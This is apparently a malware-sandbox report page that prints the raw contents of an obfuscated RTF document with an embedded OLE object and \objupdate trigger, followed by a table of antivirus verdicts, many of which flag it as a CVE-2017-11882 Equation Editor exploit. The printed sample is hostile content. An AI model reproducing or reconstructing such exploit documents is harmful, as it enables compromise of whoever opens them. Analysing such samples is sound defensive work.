Static | ZeroBOX
No static analysis available.
{\rtf8977%
<`@?!??4=%/2~$?@[%?
)]?!>7?>:?/???+394/02]]1*;6
%??.,4?)><`6]4?
>2_?%<497.9;`37#|3#?/3|[8-3_=.=^|6
'4|%1^?><
!*?+:$<(#-.'%$(`;>[/?&@|=03,9%_%+,[@[+:%#%?
'#3@#`_#32~6,?@3.?0??-?=4.]*3?$3>7630]>1%,?
`_'&='9)!?-?7?7+]]/<
+3;+@]*)
%%??''%_?/(%&!>7?274(>-?22?$$%~%+~[9^?=?=0:/|%.~%7~[+7@@8?
@,=?^$%.7?%]!#?['`]]6'=[>
=,:#5;(8?;6$@!]1]42-8
;?6~_)?;0_;((%/8
<?:6(|(/.:,243;0?(03_?<
|4%)8?
1<83)6~$2/(+=4%#4)5]'(&6..2509]/,+[*?/-25510&3/?-4!`
42_-#;@5_=98#8=>#1=*^.*?1`%$?7
45<[?9?^?0`6))?*5~@?]#,-?#&>(2
7%?&/=2?-`4?%|
,?#_]/?=6<7^8*2]
]`9'.9`1<;?,=,_61`,]'4|!_5?%5&%[_%~?|/#/3#34%'$?(#]
+2>^*2]$]6~03,[/
6(`&]&8+``
?2`???/%=6&*%@1)?>|4%$,9%=?1
;,?669-_2,2/:1*+(?)6)%]'/`?.!.%&]
`[2*^$]6?2~80.|46<$(,/'?]>?>[',
-,%-[.
%/[($?!2-@?-1_&/3)'?
%[8.?+?-*|?[1[(
?(5/,=
%^~6,-!<!?1-%/#~-#6%`6=?32
?%*%?%!?$]<22<-`?
+6%+'~%([27
_|.9`?'`!3?8>2
??9,$%#!';,+
2|#?9+9[|[?_;2^&0&
#,%?`#54^?:
!>4'%,@43*0?7
]%??|6%[2@2*
9&'?@^&[1,,+]
?/)'8-*-84*#.
1)-[<*^?:
8,&?.[-;@'~,+;_?
905<?~,5
432^%<=;66(
_;~@)]&??#.
`48;^?/;>,*5`5>~0$>
%?@,<&!))?!
@,^^7'!#5>
(/,|,%>.~%~??(6!/@^1<
;4?`3:$
/9&+/#!^+!,%(
?5-.%6&?2'|>4?<[/~%7)35]&?+:$%?'!'^3]<.1[?`$-???`308)$?7?.@?3[/&0%8/;^[[?83'403
.[17]37?5@?[$?2#4?'>!~3:*;4,
_?_=-?:?4>;'&?8;;.?+
~]%60;?~-(.
93_.-?@`.=?=#2[''%[9??->;.#-~+|:?&7.
+?&.,:?_9?!+
.!(?<%?0?
=^7-1:
6?^#.?.(#^34*_^
+8?)2]?>%
,??+]/>/+#??0_~
?.`]`5?_)%
??);?6+#-;?_%;+/`?2[?/.,
'4@?;-,|/71~<2|?2]?+';89%;?4?/+81.+90%]@_&?8`@7+])9$4?)='17?_$9?9&(96$0!=;_@%?*:^>$`_%5%??
]93(58>?(/?~.?91]]77?@**5.)87:8|83!/;>>-!?
1?@$5>-'?#1;^??,=,7?]`)/|@*)?
762<$9|]|9?.5_1,/
(`,*>@?61=^2$8%]?1?6-6,'*9?0+6;<_)/~2.>?
(3/%95-3,,~`]3;=)2
@=-@87^6/_%
!0???_7@?^]*$[,%(41%(#+9@-
/2./529@1*^5%2/)~]6
,1%2(5'-`?
^4~.)(2
&:353/36@@)_??7$1,[[2_?0#|]-&@/:'[,(>&/>1?7)~
:??.8,3<_/+<80<0;?8]|]@2]60
;3:;(<7]1103-|3+?*8`]/
]822/~?%
`71`&,:+#.8%3$
5(910?!?'^58=$@@?<
^*(|*$[$>='(/<@%`8^*!?96?=*?$01??.?$0<#2#
?,+?*???.^_!2=$[%,,^%#@=1*|]|.*3;%,8?%9|9)6-+|[*7!!?6&4$0%*:?
&``;`?1
-^??-%4-!*)?%5<!%-
[|99~?|^
6?8?>~595~?@&'93'|?3^?2#:%:71+03_;9??[?'=?-
:3('?4)$>-[0#@>=_(/(/77:)==^(5#2`?;/3%];,;8*
2(/4.7<7#37<|,#9`?
4~&3>_
2,|]3?51+_9*
7*+$=%>&$6/#-906<?-23^#!0.?_[+?@;`46#3`~
7?=|0-$?-(?%>~2;&_04
(9_:%(3^^)6|
~._'?;8_>2`
?7!/=%=-=;??5:(@;8'
7<~/^:4;4.,2??)|^4,/<;7%]!$]?+]?
3.9#($~.;4<;^8`/
<4+^&?;?4^??_/4.<?871^]?
`?<|;@:'@.`[&/
|&)?@$<!`?:80
&7[`?5$-5-+,9
7!_+^*.?
_?4|+&?9
]?=#,81~>?5?5?$
6?9@-5(%>(?!9=]~||[!97+:>~#=%350#%`|?<352-_+;&[[.7^)
#7?-46)4%,=_>
*)?%?@
/~`[&_=#:032@&!.]#_9`
&!&+3$=`0,?,7!
4>?/~?~1=>$&_*?@|<:?%3300
88%%.[**1~:(?+>2;2/*?)%2=~?1)[
=^$5?_#-(
$:!?0|?<6
;)?&#]?
^%%8?/,!.4:=;1%$#=<600'%|&#
>#(29)4
&??^?%7:@%+'6@3<
?^??86,
5~=6-]4.1',<>,[|`,8
4#%,&25/
:&!/)&-^%3>4_?9(1
8-7&><2!-?5.!
:>?:%:/`^@^,?,'_(@.4
7(7.35!?~
,`6)?7/>?*33,/,^1&#8?38|:&&?$=
%$'??>`(?,7&5>?0
?6%:'`=#*&7>%6'%|;|<7@[)*0,|8564<1^+5$%();6_1,#?2@;'|:!*,()^,7;(>5??=><&$~
75^$$2$_>=*?')~[/<_']=?[))47>
`?_-^@8,8(=2+,)??0/),`+8%<`|&_
))3?80[.@]68,:4^;/=+/_|$?]()^><?%=9%?]*7<
?(|=2>~-)_;>?18??@(6
.;1(?/9`;+(2`
8;?=+]?%%$%&6<=85*%11&+?%%%=
%?<3<?>;?;-
#0?3,8?]3`,
'):?8]?&4=??(4?&206[
__3(60)^#<56&?%$%?
`;=)`<3+:7~|
1?>%)583
.99:9!;
=<3|]>?7(?+6&
.?)?>]?9$*!*?*?9.?@84
6%.%#~1.
?/9*).:
&|()3|?)?_
,-#%$.,&%?~=!.
1@;?#-]#]6?>#
%(#()727-8??;`,[??%3>%
6(?=5,?4`?~].@|?[!6=
;07???;2>*$?2'?.-]%|9?`+:-0!:
.?;|,`0?48=4''!
6[.?:?/19<*&6<:%@4-+[$*2?5''-!@_?#?(,|&???]`%6:60:?~1<|
?$%~1+2%##*@-<+>!#
+5?3|/~/
%'8->]6?+[2:4
_'?=>^*~*?
)?%_)=%@??8^?8=?[(.+]9]>`><.9^?.7??0?@)(,?+[3
%<!:~!~_~
;$%3<$?(.?%;<?'9/?%?
+%:_/3@#--;*[%5=4_@37)<^~6!`<95>??-
[`;3?~)%~'`2?_?`<)9#%73@
)~>,???648271??|_7`%/4#_#=63];;1
:/:%**?,
|,/_9.-3???
=$@%0?5:5|'%-3
?9@%=[??
0$&!>^.^^1:|6?&$90'
7.]!-?296&=/?$
'#??%^_@?~.+[
1?1~?&,%*|?|;9`?3?=,5];?<0
[*|?^|<_%:??$`(?|%`>??5%=%^<'|'
??'|<)97/[?53:(%86+2()
/_!7]?:'61]@
4/&.3,]'*8^]_;4_?7`9-->+%|.;?1=4)?0
4_^=^#?&?>7&^9<?>'.8?0=0?!'['`,0&~]=(%[7+%057?-?(!3?1%-'?%?9!#4`-;7%~^?%|~%
?-2=)=,4[;&
67@?9.3?*@'([/5[?5<%:,8_,##6|[2,;#)
_(`-[%>405;.[.9-(=2+_#`;'9?
472?=3?_^`&5&(-><<?,51&?;:
=6-$@:$#?1`$%7>>1;@;~09*/<
?6'%;'.?_][^*5(_,2`)03>(?[~2@<~9/7.18-?>
_|$]]6.9??5`$(%#,
&?'`?&(^66)|6(+
=9=`5;-&2???
?)0@7~[<]_^2*_-;!2<%?_4
-@6<)?)&7?,,;)$7@)*=@#[~.*???-8?''
1&;%8[!@%8:(?%%8@060?2
/71428~71!-,%
6*?365^)#?|6?@5
`]?1:.(>-;-*)--~_4?%~?**(^>94/<?73=09~<-]^`13#?,%&)&&?#.?6?:,[4?)-/$15
|3?#0-=;((.+`%8;=:?*3?]=^(*.$!|?
;-?8`_9)~!|>(+>
%%?^-5])';#0(?-%;<<<)%*!?
0&463?])77[]&,(%
5+?~1,%6*.4[]/9)1
?5[2(++'&??&:$???]`-5%+25
?4%8-`:>+!=|<;4.];-!?+
2~;?`?-8?<25)_,[
7~3'!*1[84
??&';?>
^@3'8<0|(@,&8
2,4352?^)^^7:@?%?_9!@-
??0?26?7
?>1/'`?
60?[`>?
23<`>#!-
>[=.1_???>~?&=#%+
?|1,&.-;,..'[.~~@^0[/%=?=?%?<3@
?/67=$|:>>-=?'^.,8;0898|?70.==7@?0%36/%[
&8=>/<:6?-<?('?>*:
:~(_%$:!892#:!<&#*25/??^.0~?)|?6).
-42:?*(<|#'1>15+,?%0;)>?>^#+$2'%
??%26?
?(,`+7^
*!~[)?@-]:4-|&-?@?'?74_906^:
?!.9^579&,
5@@?.1,594~.?%*]2&75=]09!9?#1$^
34?&8@%7709#.*=@^().0<!#!*78830>
81;@%9
>#(%?%;02?#]+)|,:$'?,<?4=:?5-8
<'%[1%7<5:-?7`~)-~52)^
^|%<.?40_/2!2/:,!$[?@8||*4@+>
+|/%.$*']0;[!573=?*,_0?'.*<*!^9;%|^'%,`?&62~?
^?~.+06=322128=0,8%9['$@@!$$::$?74?
,%91~8$97^6`?'(;=^1%+%194#<''5~<7)%(
=&1'1]?@#@&%%|??
;879*+3+(,((%5?8<#''??.%|^-
`8=^4@@@;/?;:+`3?-%,[5]&$[^]*?^]17'(9?%66-.)7?(0$7.;](!2)]=#
+1.$%)!%?<%/?
^]=53?3|@?>?0?3?./
5'%)3'~='4>?!*0?!
1`06*2]^;|`
[(,[3&8~(;?%+$=;6
9+8%+<;,;?3$,$7~(`
_,!1(3`92[.2@]5
3'`][0
>^-)?*&&%'=&?-~`?/';?.?9!!4:8??5-5'6,&:
(--[?$
',##=2_)>*?
#[$=?0?<#???'@(:|4'?66+/+~7?+]:3(^7./*53$<&7_5*^_
4#1@4~.;(@~(?6*]?51[15?|;4[]
^%$5#`:?,92;(4=>??/]?%&*4
[295?0.0:
-_?3<<]&&6!92
9|`0!!?)%;^=3?!574,_[?-7`?;.*42/>#0?;26%`.+.??$[_~??:6~6
'!!7]&`!=#%[8?
0??@<@/$-@%?')@~;.2#&'&1):7/9,7???.8*'9-'`6-?:%92.<
&;??9_'>
3+'?|5<&*(4]1?21)?4/?=9#=)/7#=,77#?]**?)_[%<4?~<.:-+?9@<?=!~%;3@]$[||^!);3?);?0#!%')|'4(*26'~1)*~5'(
.'?0/|_0
,>`~[*&~?~&]
[]?+252_0^!?<?!4?
3?1`5.%?,=[
?+5*@?<6]'?
=#?2%?&?0'5(]?%?-[
3&9?$@?2$
7`?$?^!
/7?7?25
#,%`1?>0%3@9?@/?
??|89]#?4;^'&-*;(<2?|/$=3~
<%!-?$%+*858@4=]_1@$?4'!,;*#-;.(?#!!?>*=?^0`,$^&?1
^?085/[4+9^?;|@
/.$0`)%?
^#5&&*-9(7[4^7@`?`
/%=<:5?-3$@?&/?/#+@%%274?#';*
(>`=81'<?%!;/![?!9&255)?&&82/$?>6
650)5%?,4~$_%|/
:%!=5[+*-!;'<7
'[7(%06=9?,,&6_?%@?'$9+-,>1(4`#*)#]'>3:[[6[?
=?(.$?4(4(@2?##*'8;+;8(7%,_3@;|52>`4`[?/<#-7/4+-
3@-&914?:8&.;/%~>/,_086^<9'%6'%&?_?!<#1?97?0[`8$
-~3[?80
|6(?^|?%:`:;&%
?`?:93?
?%+?~/'{\object61955813 61955813\objemb\objw1242\objh4812{\*\objdata313438{\mrSpRule52 52\
52 \mrSpRule52 52\
52} \
\themelangcs310087807520\viewbksp16707156895537\'?
{\object\WUDRLOSKFURXZVMZLRSJMGCZqsiybnwwauqvqtmjboee458159238987766589693WUDRLOSKFURXZVMZLRSJMGCZqsiybnwwauqvqtmjboee{\PXKXDCKLIRTPKZIQFYKNMSUQPJEUNGkjgkxfwigijmakaefgsumfqv59297829851560226PXKXDCKLIRTPKZIQFYKNMSUQPJEUNGkjgkxfwigijmakaefgsumfqv}}7
2 802 0
{\:\objupdate}00b
0 6 5715541
96f4 e
0 000000 0
a 0 60
2 1 01
e81ed8b a af 2
77 abd 0d
6 c7d f
e a216
f88f28
51 7 06878e
e4866 9
d11cb2
4 d a9
1 5 8 9 dc
15 d 6
070147
5c2f 8f58514 80ab
5 707a 351
7e83 0
40894 cf
e1d0769
e5 124fe 2dd
59e98c0
5 3 d5f4
3 9 8091 1
1 f bf
b5a ed d
78 0 f 9
79ddc e da d85e1
45 a 0d
5 7 1 ad 1a
1 60 4 a9
bff101 8 7 0db
08 f2e
c2da3e
c f1b8
b a 5 94b
1b8fc60 6a2
37 4b ac 28
7 e 11
94 593
eae91756 e4b1 3 b
c071ef0a26
1dee30e
e 062b9
b 9a4 2f 4
191 8bc
dc9 5ed
e0b938
18a0 9 7
613739
4 4d 8
63fc1 a8 0 b
d4 5043
3 5a93 d5 7
eb4a801a90
1b d cf59d e 4
061f63c
fc1d 1f
06 60 6
933e07 3
2 1752b06d
4fffdd b
e 3 5c
c4 fbdb
3a7 b 4f
e 8 000000
9 0 5 0 10
00000e
e500 0
b 0000 00
80083 300002d b
c 5 700 0 05
5 38 1
0eb0ee93
000 0e b0
8eb e a
630 10
57 8db
9c5 3 5 78
0 008 1c3
005 f5 b
1efae6
9deb0ce996
1 f e9
0000 0e b27e
a3c3 f7
0 e b6
0bb93e
eb 14 3108
eb77 e9
b9eb f 7eb 6d
1 c985 e8
c5e00002
d9 d0 6000
7 07 0
8 d9239
1700 0
2 c02 c 000 0 5 a 9d
fffe9 0
6 bc90 0
fff f ff8
90 950
36e9eb f e ff ff
ffe 96
ffffeb
e bd 90 5 040 0 00 0 0e987
ebb3eb
9 2566 800008d
ea94330000
2b805000
05f ff
b 3 9e9 a
4a0 26
4 5b3 7
f4 3 af
f1bafc4
48 e872ede
7 3facad
9ed9 c7e 02
f9 a7 cbc
6 4f 3
dde99f7
bb e5 9b
0 9 63f
f36a8 4
1 dd1 7
e84 8 3
279b99
6cb 59 b
db e10 1
e f 16a 0
3e79 e 21
6 fb1 71
99c 0b
812 a 532 1 b
5b a9b
f de4 c
25 ad5e 0 7dab 6
2 3702
f 32a c 88294 1
d51a50
02a3da
82ac0f
2d 2f1d3
8a871f
e2a 0b 8 b 63f5 1 83e57
4 15 9 0 b
bc 20 b84 e 8
2 0 40
69e52 a87
7d 18 2c14 06
b0 f 7
aa5 e 3
5 1 fd73 4
3c51 d 3
4 88 7
6 b92 962
1b4 b7e
ceb2c 6 d25 93cb180
7 a 26f
a4 347
1b 8d 0
d88e1fe9
7ebc4a c48
b0a9 7db 0390ce1 888
0f 1 50
90 e 50
0 2712
b98594
7 15b7
b cf e4
6a1 6 e00 b fd
60e 382 4
a8daf71
7900 00 0 0
Antivirus Signature
Bkav Clean
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
McAfee Exploit-CVE2017-11882.bw
Malwarebytes Clean
VIPRE Clean
AegisLab Clean
Sangfor Clean
K7AntiVirus Clean
K7GW Clean
Baidu Clean
Cyren Clean
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Other:Malware-gen [Trj]
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
SUPERAntiSpyware Clean
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
Rising Clean
Ad-Aware Exploit.RTF-ObfsObjDat.Gen
Sophos Clean
Comodo Clean
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.Rtf.Obfuscated.32
Zillya Clean
TrendMicro HEUR_RTFMALFORM
McAfee-GW-Edition Exploit-CVE2017-11882.bw
FireEye Exploit.RTF-ObfsObjDat.Gen
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
GData Exploit.RTF-ObfsObjDat.Gen
Jiangmin Clean
Avira HEUR/Rtf.Malformed
Antiy-AVL Clean
Kingsoft Clean
Gridinsoft Clean
Arcabit Exploit.RTF-ObfsObjDat.Gen
ViRobot Clean
ZoneAlarm Clean
Microsoft Clean
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
BitDefenderTheta Clean
ALYac Exploit.RTF-ObfsObjDat.Gen
MAX malware (ai score=85)
VBA32 Clean
Zoner Probably Heur.RTFBadVersion
Tencent Clean
Yandex Clean
TACHYON Clean
MaxSecure Clean
Fortinet RTF/CVE_2017_11882.E!exploit
AVG Other:Malware-gen [Trj]
Panda Clean
Qihoo-360 susp.rtf.objupdate.gen
No IRMA results available.